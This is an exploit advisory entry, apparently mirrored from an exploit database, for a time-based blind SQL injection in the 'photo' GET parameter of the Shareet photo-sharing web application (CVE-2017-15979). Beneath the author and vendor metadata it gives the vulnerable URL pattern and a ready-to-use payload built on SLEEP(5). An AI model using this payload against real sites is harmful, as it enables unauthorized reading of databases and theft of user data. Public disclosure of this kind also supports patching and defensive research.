发布 2017-10-30 漏洞条目

Shareet – ‘photo’ SQL Injection

Exploit Source

# # # # #

# Exploit Title: Shareet - Photo Sharing Social Network - SQL Injection

# Dork: N/A

# Date: 30.10.2017

# Vendor Homepage: https://odallated.com/

# Software Link: https://www.codester.com/items/4910/shareet-photo-sharing-social-network

# Demo: https://odallated.com/shareet/demo/

# Version: N/A

# Category: Webapps

# Tested on: WiN7_x64/KaLiLinuX_x64

# CVE: CVE-2017-15979

# # # # #

# Exploit Author: Ihsan Sencan

# Author Web: http://ihsan.net

# Author Social: @ihsansencan

# # # # #

# Description:

# The vulnerability allows an attacker to inject sql commands....

# Proof of Concept:

# http://localhost/[PATH]/?photo=[SQL]

# Parameter: photo (GET)

# Type: AND/OR time-based blind

# Title: MySQL >= 5.0.12 AND time-based blind

# Payload: photo=saSihSiRf1E' AND SLEEP(5) AND 'DUqs'='DUqs

# Etc..

# # # # #

相关漏洞条目